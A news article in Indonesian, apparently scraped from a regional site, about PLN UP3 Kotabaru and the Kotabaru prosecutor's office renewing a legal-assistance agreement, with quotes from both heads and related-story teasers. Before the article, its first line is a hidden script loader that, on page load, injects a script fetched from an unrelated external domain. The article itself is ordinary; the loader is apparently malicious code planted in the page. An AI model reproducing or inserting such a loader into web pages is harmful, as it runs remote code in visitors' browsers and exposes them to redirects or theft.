(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, PT PLN (Persero) Unit Pelaksanan Pelayanan Pelanggan (UP3) Kotabaru dan Negara Kejaksaan Negeri (Kejari) Kotabaru menandatangani kesepakatan bersama tentang Penanganan Masalah Hukum, Senin (21/1).
Penandatanganan dilakukan oleh Manajer PLN UP3 Kotabaru Sudarto dan Kepala Kejari Kabupaten Kotabaru Indah Laila. Kerjasama kedua pihak ini meliputi Bantuan Hukum, Pertimbangan Hukum dan Tindakan Hukum lainnya kepada negara atau Pemerintah, salah satunya meliputi Badan Usaha Milik Negara (BUMN).
Sudarto menyampaikan bahwa penandatanganan kesepakatan bersama tersebut merupakan perpanjangan perjanjian kerjasama periode sebelumnya yang berakhir pada tahun 2018. Ia menyampaikan bahwa PLN merasakan dampak yang sangat baik dari kerjasama dengan Kejakasaan Negeri Kabupaten Kotabaru.
“PLN membutuhkan bantuan Kejari dalam bidang hukum perdata dan tata usaha negara yang dihadapi seperti penyelesaian penyalahgunaan listrik oleh pelanggan, tunggakan rekening pelanggan serta permasalahan dalam pengelolaan aset. Kami berharap, Kejari Kabupaten Kotabaru dapat terus memberikan dukungannya kepada PLN,†ujar Sudarto.
Sudarto lebih lanjut juga berharap perpanjangan kerjasama antara PLN dengan Kejari ke depannya agar permasalahan terkait Perdata dan Tata Usaha Negara yang menyebabkan kerugian negara dapat diselesaikan dengan baik. Ia juga berharap Kejari dapat menjadi mediator dan memberikan solusi untuk menyelesaikan permasalahan yang muncul antara PLN dengan masyarakat.
Indah Laila menanggapi positif kerjasama yang telah dijalin Kejari Kabupaten Kotabaru dengan PLN. Dia juga memastikan dengan adanya kerjasama ini, pihaknya akan siap membantu apabila ada persoalan hukum khusus terkait perkara perdata yang dialami pihak PLN.
“Sebagai pengacara Pemerintah, Kejari Kabupaten Kotabaru siap membantu PLN apabila terdapat persoalan hukum. Apabila terdapat masalah hukum nantinya antara PLN dengan masyarakat, kami berharap kerjasama ini dapat melahirkan keputusan yang tidak merugikan salah satu pihak,†ujar Indah Laila.
Dia lebih lanjut menyampaikan bahwa pihaknya akan memberi bantuan hukum kepada PLN jika terdapat gugatan. Namun selama masih bisa ditangani oleh PLN, Indah Laila mempersilakan PLN untuk menyelesaikannya. Dia juga berharap sinergi yang terjalin antara Kejari dan PLN dapat terus berlanjut dan berjalan dengan baik.(cel)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.